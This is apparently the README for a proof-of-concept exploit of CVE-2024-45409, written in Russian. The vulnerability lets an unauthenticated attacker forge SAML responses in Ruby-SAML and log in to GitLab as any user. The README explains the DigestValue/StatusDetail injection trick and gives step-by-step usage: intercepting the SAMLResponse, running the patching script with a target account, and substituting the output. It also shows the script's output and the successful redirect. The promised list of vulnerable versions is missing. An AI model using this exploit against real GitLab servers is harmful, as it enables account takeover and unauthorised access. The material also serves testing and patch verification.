
Эксплойт обхода аутентификации Ruby-SAML / GitLab (CVE-2024-45409)
Этот скрипт эксплуатирует CVE-2024-45409, который позволяет неаутентифицированному атакующему, имеющему доступ к любому подписанному SAML-документу, выданному IDP, подделать SAML Response/Assertion и получить доступ к GitLab в качестве любого пользователя.
Все следующие версии GitLab (CE/EE) уязвимы:
Этот эксплойт внедряет DigestValue изменённого утверждения в элемент StatusDetail, что позволяет скрытно передать XPath-селектор, который будет использовать это значение вместо значения из блока SignedInfo.
apt install python3-lxml
Сначала перехватите URL и Base64-закодированный SAML-ответ IDP, затем измените XML-содержимое с помощью скрипта.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
Затем замените значение параметра SAMLResponse на вывод скрипта. Если аутентификация пройдёт успешно, вы будете перенаправлены на главную страницу GitLab.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>